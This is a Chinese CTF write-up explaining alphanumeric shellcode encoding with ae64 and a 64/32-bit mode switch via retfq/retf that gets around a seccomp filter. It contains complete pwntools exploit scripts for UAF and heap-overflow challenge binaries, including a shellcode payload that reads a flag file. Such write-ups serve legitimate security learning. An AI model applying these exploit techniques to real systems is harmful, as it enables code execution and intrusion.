ASCII码-shellcode的技巧

2023-11-10

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题

image-20230812220258102

程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

image-20230812220502748

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞

image-20230812220758365

在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

image-20230812220848343

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode

image-20230812221039170

剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

image-20230812221435095

这里使用ae64这个工具

‍帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()

image-20230812222658159

接着使用ae64的库直接修改为ASCII码shellcode

from pwn import *
from ae64 import AE64

context.arch = 'amd64'


obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)

这里rdx即为shellcode执行的时候call的寄存器

image-20230812223222314

然后就可以生成shellcode了

image-20230812223247022

紧接着拿这段生成的shellcode就可以绕过了

exp

from pwn import *

sh = process("./pwn")
context(arch='amd64')


def add(size):
	sh.recvuntil(" choice:")
	sh.sendline("1")
	sh.recvuntil(" message?")
	sh.sendline(str(size))

def delete(index):
	sh.recvuntil(" choice:")
	sh.sendline("2")
	sh.recvuntil("o be deleted?")
	sh.sendline(str(index))

def edit(index,content):
	sh.recvuntil(" choice:")
	sh.sendline("3")
	sh.recvuntil(" be modified?")
	sh.sendline(str(index))
	sh.recvuntil("t of the message?")
	sh.sendline(content)

def show(index):
	sh.recvuntil(" choice:")
	sh.sendline("4")
	sh.recvuntil(" to be showed?")
	sh.sendline(str(index))

def exp():
	sh.recvuntil(" choice:")
	sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()


sh.interactive()

机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。

CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位
  • CS=0x23,32位

那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retfq; #从32位切换到64位
      
  • ref,从32位切换至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retf; #从64位切换到32位
      

再以一道题目作为例子,保护如下,还是没有开启NX保护

image-20230812224501848

题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。

image-20230812224711955

这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。

image-20230812225143067

题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小

image-20230812225341764

但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。

并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

image-20230812225458229

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。

image-20230812225635212

查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。

image-20230812225852456

可以看到fstat函数的64位的系统调用号为5

image-20230812230046268

但是32位下的系统调用号5为open函数

image-20230812230125078

那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。

这里需要注意两个点

(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址

image-20230812230855903

(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了

image-20230812230929182

exp

from pwn import *

#sh = process("./pwn")

elf = ELF("pwn")

def user(name,desc):
	sh.recvuntil("choice:")
	sh.sendline("0")
	sh.recvuntil(" name?")		
	sh.send(name)
	sh.recvuntil("desc?")
	sh.send(desc)

def add(size):
	sh.recvuntil("choice:")
	sh.sendline("1")
	sh.recvuntil(" message?")
	sh.send(str(size))

def delete(index):
	sh.recvuntil("choice:")
	sh.sendline("2")
	sh.recvuntil(" be deleted?")
	sh.send(str(index))

def edit(index, offset, content):
	sh.recvuntil("choice:")
	sh.sendline("3")
	sh.recvuntil("ssage to be modified?")
	sh.send(str(index))
	sh.recvuntil("message to be modified?")
	sh.send(str(offset))
	sh.recvuntil("ent of the message?")
	sh.send(content)

while(1):
	try:
		sh = process("./pwn")
		add(0) #0
		add(0) #1
		add(0x60)
		for i in range(8):
			add(0x71)
		delete(1)
		payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
		edit(0,0,payload)
		add(9)
		delete(2)
		delete(3)
		delete(4)
		delete(5)
		user('a'*0x10+p64(0)+p64(0x71),'b')
		target = 0x6020f0 
		payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
		edit(0,0,payload)
		add(0x60)#2
		sh.recvuntil("Ptr: ")
		addr = int("0x"+sh.recv(6),16)
		log.info("addr:"+hex(addr))
		add(0x60)#3
		edit(3,0,p64(elf.got['free']))
		payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
		payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
		payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
		payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
		payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
		edit(2,0,payload)
		edit(0,0,p64(addr))
		#attach(sh,'b*'+str(addr))
		delete(6)
		sh.interactive()
	except:
		continue
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ASCII码-shellcode的技巧 的相关文章

  • 车道线检测

    3D车道线单目检测方法 ONCE 3DLanes GitHub once 3dlanes once 3dlanes benchmark 斑马线 检测 上海交大 CDNet 基于YOLOv5改进的 人行道 斑马线和汽车过线行为检测 jacke
  • 详解vue中的v-model

    序 v model是v bind和v on input的结合 即监听了表单的input事件 然后修改value属性对应的值 一 vue单文件中使用v model 众所周知 当我们使用v bind绑定prop时 数据流的流向是从model层流

随机推荐

  • Centos7安装Redis并设置开机自启动图文详解

    1 下载redis wget http download redis io releases redis 6 0 0 tar gz 如果提示没有wget使用如下命令 yum y install wget 2 安装 解压 tar zxvf r
  • 【ES】Elasticsearch Java Rest Client (Document APIs)官方文档中文翻译

    这里写目录标题 一 文档APIs 1 单文档 API Index API Get API Get Source API Exists API Delete API Update API Term Vectors API 2 多文档 API
  • Linux本地套接字

    LINUX和UNIX都拥有一个非常实用的工具 UNIX套接字 或称为本地套接字 它可以被用在进程间通讯 IPC 当中 UNIX套接字的运转机制和Internet套接字类似 主要的区别UNIX套接字只能用在一台计算机中 而Internet套接
  • Linux(ubuntu)安装libevent

    步骤如下 第一步下载压缩包文件 libevent 2 1 8 stable tar gz 地址 https github com libevent libevent releases download release 2 1 8 stabl
  • 李沐论文精读系列四:CLIP和改进工作串讲(LSeg、GroupViT、VLiD、 GLIPv1、 GLIPv2、CLIPasso)

    文章目录 一 CLIP 1 1 简介 1 1 1 前言 1 1 2 模型结构 1 1 3 模型效果 1 1 3 1 对自然分布偏移的鲁棒性 1 1 3 2 StyleCLIP 1 1 3 3 CLIPDraw 1 1 3 4 zero sh
  • 互联网拥塞控制终极指南

    本文为媒矿工厂翻译的技术文章 原标题 The Ultimate Guide to Internet Congestion Control 原作者 Michael Schapira 原文链接 https www compiralabs com
  • sqlserver 查看表所占磁盘空间

    方法1 可以通过SP SPACEUSED来查看 sp spaceused 显示行数 保留的磁盘空间以及当前数据库中的表所使用的磁盘空间 或显示由整个数据库保留和使用的磁盘空间 语法 sp spaceused objname objname
  • ubuntu开机出现initramfs解决办法

    今天上班打开ubuntu的虚拟机的时候出现了这个界面 注意倒数第三行 说 dev sda1 需要 fsck 第一步 执行命令 fsck dev sda1 y 第二步 当出现FILE SYSTEM WAS MODIFIED这个的时候 就表示已
  • 你想知道undo log的作用都在这里

    今天我们来介绍下mysql的undo log 日志 带你更加深入理解它的作用 01 为什么需要 undo log 考虑一个问题 一个事务在执行过程中 在还没有提交事务之前 如果mysql发生了崩溃 要怎么回滚到事务之前的数据呢 如果我们每次
  • 关于本地方法栈的详细介绍

    本地方法栈 Native Method Statck 与虚拟机所发挥的作用是非常相似的 它们之间的的区别不过是虚拟机栈为虚拟机执行java方法 也就是字节码 服务 而本地方法栈则为虚拟机是有的Native方法服务 在虚拟机规范中对本地方法栈
  • entity framework core + SQLite Error 1: 'no such table: Blogs'.

    在学习Entity Framework Core使用SQLite时 出现上述错误 原因是找不到db文件 在UseSqlite 中添加具体的db文件路径 改成如下即可 protected override void OnConfiguring
  • Sentinel--服务容错

    目录 1 高并发带来的问题 2 服务雪崩效应 3 常见容错方案 1 高并发带来的问题 在微服务架构中 我们将业务拆分成一个个的服务 服务与服务之间可以相互调用 但是由于网络原因或者自身的原因 服务并不能保证服务的100 可用 如果单个服务出
  • 置信度&置信区间,这篇讲解我给100分!

    今天这篇聊聊统计学里面的置信度和置信区间 好像没怎写过统计学的东西 这篇试着写一写 1 点估计 在讲置信度和置信区间之前先讲讲点估计 那什么是点估计呢 给你举两个例子你就知道了 现在你想要知道一个学校学生的身高情况 你可以把所有的学生测量一
  • 创造与魔法为什么显示无法连接服务器,创造与魔法为什么显示登录失败

    发布时间 2018 04 19 一些玩家遇到数据库登录失败的问题 不知道如何解决 进不了游戏很是烦恼 下面小编就为大家带来十三号星期五数据库登录失败解决方法 遇到这类问题的小伙伴快来看看吧 十三号星期五数据库登录失败解决方 标签 攻略 发布
  • 哈夫曼编码(Huffman Coding)多图详细解析

    哈夫曼编码 哈夫曼编码 又称为霍夫曼编码 它是现代压缩算法的基础 假如我们需要将字符串ABBBCCCCCCCCDDDDDDEE通过二进制编码进行传输 那应该怎么将字符转换为二进制码 方法一 转换为ASCII码 直接将字母转换为对应的ASCI
  • vue【封装 Vue.js 组件库】

    一 组件库有哪些 element iu iview CDD Component Driven Development 自下而上 从组件级别开始 到页面级别结束 CDD 的好处 组件在最大程度被重用 并行开发 可视化测试 二 组件库开发流程
  • git 之 gitlab 私有项目仓库的搭建与使用

    gitlab 私有项目仓库的搭建与使用 一 gitlab简介 二 gitlab安装 三 gitlab使用 一 gitlab简介 GitLab是一个利用 Ruby on Rails 开发的开源应用程序 实现一个自托管的Git项目仓库 可通过W
  • 自用.vimrc文件

    set paste set nocompatible 关闭 vi 兼容模式 syntax on 自动语法高亮 set number 显示行号 set cursorline 突出显示当前行 set ruler 打开状态栏标尺 set shif
  • 机器学习--聚类(12)

    一 基本概念 聚类的概念 一种无监督的学习 事先不知道类别 自动将相似的对象归到同一个簇中 应用场景 文档分类器 客户分类 保险欺诈检测 乘车数据分析 二 距离计算 对于有序距离 其中P 1为曼哈顿距离 P 2为欧氏距离 对于无序距离 使用
  • ASCII码-shellcode的技巧

    网上已经有成熟的工具了 所以就简单记录一下工具怎么用吧 https github com TaQini alpha3 https github com veritas501 ae64 git https github com rcx she